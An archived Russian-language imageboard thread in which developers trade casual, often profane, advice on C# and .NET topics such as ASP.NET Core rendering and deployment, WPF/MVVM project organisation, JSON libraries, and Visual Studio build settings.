Ты, скорее всего, ещё плохо понимаешь как веб приложение в принципе работает. Тогда тебе тем более вредно вшитые project templates использовать. Пытайся делать полностью пустые проекты и подключать элементы один за одним по мере необходимости.

Берёшь CDN ссылку на нужный js или css файл, закидываешь руками на нужную страницу (скорее всего *.cshtml). Потом выбираешь как хочешь данные между бэком и фронтом передавать. В твоём случае у тебя 2 пути: backend rendering via Razor или front-end rendering via Ajax.
В случае с рендерингом на бэке тебе надо будет возвращать готовый хтмл из твоего контроллера через View("ViewName", someData).
Для Ajax надо будет возвращать или просто текст или JSON.

Всё очень просто и прозрачно. К сожалению для "облегчения" вкатыльщиков MS решили накидать сложного бойлерплейта, чтобы было всё и сразу.
1397 1795023
>>790545
Можно написать консольную приложуху на старом дотнете и пинать её для выгрузки данных.
1398 1795033
>>793379
>>794340
В режиме дебага внутри студии есть такое вот окно. Там будут все доступные real-time логи. Чтобы добавить деталей используй Trace или какой-нибудь логгер. Serilog имеет дефлотный sink для консоли и умеет красиво форматировать вывод.
1399 1795065
>>795011

>В твоём случае у тебя 2 пути: backend rendering via Razor или front-end rendering via Ajax.


У меня уже есть опыт с WebApi + ReactJs. До этого хотел делать под одним капотом, но для рендеринга там какие то ChakraCore V8, еще какая то хуета нужна была. Короче плюнул и сделал полностью разделенный функционал, из за чего ловил батхерд с деплоем, т.к. реакт проект закинуть на фришный хостинг - нехуй делать, а вот с говном под названием ASP.NET Core - целая мантра (Azure не в счет).
Так или иначе, backend rendering via Razor, как ты назвал - у меня есть представление, как делать - прокидывать модель или viewbag через контроллер в View и назад. А вот что насчет via Ajax? Как страница будет рендериться в этом случае? На реакт проекте, который хостится на ноде реактивно все рендерится, а тут что будет? Кинь ссылку на пример, нипанимаю
1400 1795094
>>795065
ChakraCore V8 вообще не про то, о чём ты думаешь. Тут уже обсуждалось как-то. TLDR - он тебе нафиг не нужен.

Лень примеры писать или искать. React/Angular/Vue как раз через Ajax с серваком и общаются. Кидают туда-сюда JSON объекты.

fetch("https://api.example.com/items")
.then(res => / собирай свой объект и потом используй его в своём html для отрисовки /);

Это абсолютно то же самое что мы на jquery делали:
$.ajax({
url: "https://api.example.com/items"
}).done(res => / собирай свой объект и потом используй его в своём html для отрисовки /);

>а вот с говном под названием ASP.NET Core - целая мантра (Azure не в счет)


Приколист. Если у тебя есть доступ к VM, то ставишь dotnet и запускаешь на нём своё приложение. В зависимости от соединения и удобства инструментов от 1 часа до 1 дня работы.
Azure/GCP/AWS уже имеют настроенные веб серваки и предоставляют к ним доступ через App Service.
Если есть возможность запускаться через Docker, то добавляешь Dockerfile в свой проект, билдишь образ и деплоишь. За пару часов можно разобраться.
https://docs.docker.com/engine/examples/dotnetcore/

Если у тебя хостинг через какой-нибудь GoDaddy, то тут борода конечно - новых технологий давно не завозили.
1401 1795143
>>795094
получается я прокидываю ajax запросы на тот же домен, где и фронт и бэк, только по разным раутам? И я все еще не понял, что будет рендерить фронт, если будут статик файлы в виде библиотек JS-a?
Я уже выпилил все из папки wwwroot, через Razor pages я уже пилил когда то, сейчас хочу попробовать все под один капот засунуть, только картина до сих пор не ясна
1402 1795155
>>795143

>картина до сих пор не ясна


Она сейчас и не будет ясна с такими то знаниями. Задрачивай это с пол годика каждый день и всё придёт. Только надо при этом официальные доки читать.
Тут прикол не в дотнете или реакте или каком-либо другом языке/фреймворке. Тут прикол в том, что у тебя базовые знания о том как веб в принципе работает отсутствуют. Когда всё на свои места встанет, сможешь и на жаве и на питоне и на чём угодно, что умеет обрабатывать запросы от веб сервака, один и тот же сайт запилить.

>Razor pages пилил когда то


Razor Pages - это новый фреймворк. Не путый со стандартным Razor script, которому уже больше 10 лет. Так что если ты на нём и пилил, то совсем недавно.
image.png11 Кб, 267x242
1403 1795236
Анон, когда тред перекатите, у меня вопрос. Он скорее по кодестайлу и архитектуре.

Вот разрабатываю программу, в которой будет дохрена всяких окон и у них в свою очередь будет дохрена подокон (окон которые из них вызываются). Сначала начал от балды в одно пространство создавать - сразу же запутался где какое окно кому принадлежит - надо поправить шрифт или надпись, а хрен вспомнишь где код именно этого окна.

Попытался организовать как на пикче. Все равно сложно искать

Наверняка же есть методология как правильно все это организовать и разложить по простраству имен и папочкам.
1404 1795274
>>795155

> с такими то знаниями


>Задрачивай это с пол годика


>надо при этом официальные доки читать


>знания о том как веб в принципе работает


Зачем ты проецируешь свой опыт? В чем конкретно мои знания тебя так огорчили, что я не знаю, как обрабатываются статик файлы в контроллере и обратно? Я уже писал - есть не плохой опыт на WebApi - там все ясно, как божий день - прокидываешь http/s запросы по REST и все заебись. Тут же - хуй пойми что и как
1405 1795297
>>795236

>Наверняка же есть методология как правильно все это организовать и разложить по простраству имен и папочкам.


Да, называется MVVM. Создаешь папки Models, Views, ViewModels. В папке Models размещаешь все сущности с которыми будешь работать, в папке Views все xaml и xaml.cs файл, т. е. окна, в папке ViewModels все классы которые будут добавляться к Views в xaml.cs и скоторыми ты будешь работать через xaml окон.
1406 1795305
>>795297
Я не он, но вот интересно.
Как у тебя выглядят ViewModel и Model
Потому что у меня ViewModel зачастую получаются банальными обвертками вкоруг Model.
Чего добавляется это только ньюансы с непосредственным выводом на экран, валидация и нотификации интерфейса об изменениях в полях.
И получается все вызовы к методам модели тоже просто оборачиваются методами вьюмодели.
Из-за этого код разбухает на ровном месте.
1407 1795308
>>795305
Ну да. Велком ту разрабьётка. А есть еще и DTO, которые еще одна практически копия вью модели. И того на одну сущность три почти одинаковых класса.
А вьюмодели необходимы, когда у тебя есть связанные данные, которые в json'e будут циклироваться. Типа у тебя класс Bomj содержит класс Bomjiha, которая содержит класс Bomj, который...
1408 1795318
>>795305
В ViewModel у меня набор команд и моделей которые я использую в относящемся к нему View, т. е. это объединение View и Model. Нотификация достигается за счет реализации интерфейса INotifyPropertyChanged у классов в Model, валидация происходит в методе CanExecute команд.
1409 1795320
>>795297

>Да, называется MVVM


нет. Это вообще не то.

Ну будет у меня 100500 xaml в папке View - как это мне поможет находить среди них нужное?. Как это мне поможет понять что вот это окно связано вон с тем окном?
1410 1795328
>>795320
"Вот это вот с тем" у тебя уже есть на пикриле из твоего поста, создаешь Views, в ней папки с видами, в них папки с подвидами. Чего ты ожидал, волшебной пилюли которая за тебя всё сортировать будет?
Для того чтобы не бегать по коду каждого окна и изменять в нём шрифт, существуют наборы стилей, если у тебя нет общего стиля и в каждом окне свои тип шрифта, размера, жирности и т. д. то на каждый View можешь создавать еще и набор стилей, подключил один раз в xaml, а изменения вносишь уже непосредственно в сам файл со стилями.
1411 1795333
>>795328
Ты меня вообще не понял.

>Для того чтобы не бегать по коду каждого окна и изменять в нём шрифт, существуют наборы стилей


Опять не то. Смотри.
Я запускаю свою программу, тестирую - и где-то ебенях интерфейса через 100500 прошедших окон я вижу косяк - например мне не нравится текст надписи, или возможно размер элемента не вмещает всю строку считаную из бд или еще чего..

Теперь мне надо найти xaml этого окна в папке VIew, где находятся еще 10500 других окон. И в итоге я начинаю каждое открывать, смотреть, пытаться вспомнить - это окно или не это.

То есть весь вопрос - как организовать удобную иерархию папок чтобы сразу находить xaml нужного окна
1412 1795335
здарова, аноны
короче такая тема: есть json файл, который содержит название поля класса - его значение
Есть ли какие-то готовые решения, чтобы я мог инициализировать класс из этого жисона? Свои велосипеды написать не сложно, но хочется что-то типа Class class = JsonUtility.Deikpukserk(json)
спасибо
1413 1795337
>>795335
стандартный десериализатор от майков и newtonsoft.json
1414 1795338
>>795333
Так в чём проблема, блять? Смотри.

У меня есть окно которое выполняет функцию n, я вижу что-то, что я хотел бы в нём изменить, в поиске по решению я вбиваю окновыполняющеефункциюn и нахожу его.
Твой пример можно понять только если у тебя названия окон не отражают их предназначения.
И каким хуем у тебя 100500 окон в проекте? Может ты при изменении названия кнопки создаешь отдельное окно, вместо того чтобы изменить название кнопки в уже существующем?
1415 1795399
Аноны, как в visual studio билдить unsafe проект?
Мне выдает ошибку что
unsafe code may only appear if compiling with /unsafe
Я делаю билд просто щелкая правой кнопкой по проекту и дальше build solution.
1416 1795444
>>795399
зайди в конфиг проекта, поставь галочку напротив allow unsafe code
1417 1795449
>>795444

>поставь галочку напротив allow unsafe code


там нет такого. Вообще в конфиге нет ничего про билд.
Использую VS2019
12123.jpg84 Кб, 953x649
1418 1795482
>>795449
Странно, у меня есть. Попробуй переустановить шиндоws
1419 1795516
>>795482
Анон, распиши как ты это открыл.
Может мы про разные вещи говорим.
Я делаю следующее: щелкаю в Solution Explorer по myProject и дальше выбираю Properties.
1420 1795520
>>795516
Ты наверное щелкаешь по солюшену, а нужно по проекту
1421 1795527
>>795274
Потому что у тебя вопросы как у наших джунов. И они точно также агрятся, когда им указываешь на отсутствие каких-то знаний. И я такой же лет 12 назад был.
У сеньора (даже если он с дотнетом только вчера познакомился) таких проблем обычно не возникает.
1422 1795677
Аноны, а не подскажите можно ли в visual studio найти все файлы где вызывался определенный метод?
1423 1795743
>>795527
кто агрится? Ты или шаришь опыт или тыкаешь, что не так. Твои фантазии ака "пол года", "отсутствие знаний" оставь при себе
1424 1795797
>>795743
Я зашарил опыт, дальше у тебя пошли какие-то странные вопросы.

>что будет рендерить фронт, если будут статик файлы в виде библиотек JS-a?


JS будет рендерить. Притащит данные через аякс и через какой-нибудь MVVM (knockout, react, vue) забиндит модель с данными с заранее написанным темплейтом. Либо ручками нагенерит html элементы.
1425 1795802
Как этот код выглядит на C#? У меня не получается создать ссылки на типы классов.
http://www.cpp.sh/2dxqg
12123.jpg46 Кб, 458x604
1426 1795819
1427 1795830
>>795819
А можешь просто как-нибудь переконвертировать мой C++ в C#, чтобы я хотя бы понял, как оно у вас выглядит?
1428 1795832
>>795819
Хотя бы скажи, почему я у вас указатель на тип класса не могу создать, и какая тут есть альтернатива.
1429 1795841
>>795320
У нас значение по умолчанию для переменной-ссылки - null, поэтому нужно писать var someClass = new someClass();

>указатель на тип класса


Для того чтобы указывать на тип нужно чтобы этот тип был с модификатором static.
1430 1795858
С каких пор в шарпе стали именовать приватные методы с маленькой буквы? Никогда такого не было. Недавно решарпер стал подсказывать, а сейчас Смотрю чужую репу на гитхабе – там то же самое в проекте от 2013 года!
Нет, блядь, нет, я точно помню, что методы всегда с большой буквы писались
1431 1795923
>>795858
Пиздёжь, приватные методы с большой именуются
1432 1796123
>>795923
Так в том-то и дело! Приду, не поленюсь, заскриню. Даже решарпер предлагает варианты с маленькой буквы
Я уж подумал, что мандела случилась

Хотя у меня всю ночь охуительные сновидения были, может, приснилось
1433 1796357
>>795923
Похоже, приснилось мне это все. А ведь как вживую помню - открываю репу, там методы с маленькой буквы. Скроллю вверх, а там подписано, что последний коммит в 2013 году был. Еще решарпер этот. Охуеть. Не ложитесь поздно спать, пацаны
1434 1796513
Почему то выходит ошибка An object reference is required for the nonstatic field, method, or property.
Есть файл Program.cs с классом Program. В нём есть static void Main и private void getInformation().
getInformation вызывается в Main и он же дает ошибку. Как это пофиксить?
1435 1796560
>>796513
Main.GetInformation()
Вот что ты пытаешься сделать, грубо говоря. Нельзя использовать нестатические штуки из статических, потому что статику можно юзать всегда, она тупо есть. А нестатику – сперва надо создать что-то у созданного объекта уже вызывать
var x = new Main();
x.GetInformation():


Ты, кстати, хули с маленькой буквы названия метода написал?
1436 1796574
А што лучше, Newtonsoft.Json или System.Text.Json? В чем различия?
1437 1796758
>>796574
System.Text.Json
- уже вшит в базовый фреймворк;
- судя по бенчмаркам работает быстрее на хайлоаде с большими json объектами;
- кастомизировать сложнее.

Newtonsoft.Json
- надо nuget пакет тащить;
- древний и откалиброванный под мелкие задачи;
- куча классов хелперов, из-за которых твой код выглядит симпатичнее.

Для новых проектов на новом донете лучше системный использовать - его постоянно пилят и улучшают и он по умолчанию поддерживается в aspnetcore. Newtonsoft надо будет руками прописывать в сетапе.
1438 1796765
>>796513
Добавь модификатор static методу GetInformation
1439 1796766
>>796758
>>796574
Для System.Text.Json нет вот таких https://app.quicktype.io/ удобных генераторов
1440 1796924
>>795338

>у тебя названия окон не отражают их предназначения.


this. Даже не знаю как именовать, чтобы потом находило.

>>795338

>И каким хуем у тебя 100500 окон в проекте?


Прога будет большой, много всяких настроек, отчетов, просмотров. А тулить все в одно окно - слишком сложная структура, либо придется отказаться от визуального редактора
1441 1796955
>>728880

А такое может быть, у меня однажды пизданулись все залинкованые к проекту либы, хотя вс показывала что все ок, помог только выпил директории и гит пул
1442 1797034
Перекат когда будет? Довольно стремно каждый раз искать тред. Ну серьезно же.
1443 1797048
>>797034
Разрешаю. Можешь перекатывать.
1444 1797056
>>797048
Хм. Вроде перекатил
1445 1797060
Ну, эт. Перекат. Да. Вот.
>>1797054 (OP)
>>1797054 (OP)
>>1797054 (OP)
nDfwSAEwHxw.png56 Кб, 396x167
1446 1825409
Прописываем SerializeField, а оно не работает и даже не определяется. Кроме того, все функции, связанные с сериализацией не работают, хелп плиз.
1447 1829436
>>825409
using добавь... если не определяется, добавь в проект ссылку на библиотеку
1448 1829441
>>825409
если не поможет, попробуй clean & rebuild solution или удали бинарники, перезапусти студию. бывает заедает её
1449 1829443
>>825409
можно попробовать ещё dotnet/nuget restore
1450 1829445
>>796955
бинарники надо было удалить просто, или сбросить кеш в студии
1451 1840022
А может кто-то из анонов протестить проект на предмет ошибок?
в замен могу оставить тестовый акк и 50 гигов квоты на нем
image.png400 Кб, 1433x1600
1452 1872751
Почему рыночек порешал шарпёров?
1453 1881832
Нужен код, анонимусы, на С#. Создание лабиринта, хелпаните плиз, до пары 1,5 часа
1454 1888353
>>872751
Потому чо это не так, и ты это знаешь, но вылез позлорадствовать в самый подходящий для тебя момент.
Тред утонул или удален.
Это копия, сохраненная 3 января 2021 года.

Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее

Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.
« /pr/В начало тредаВеб-версияНастройки
/a//b//mu//s//vg/Все доски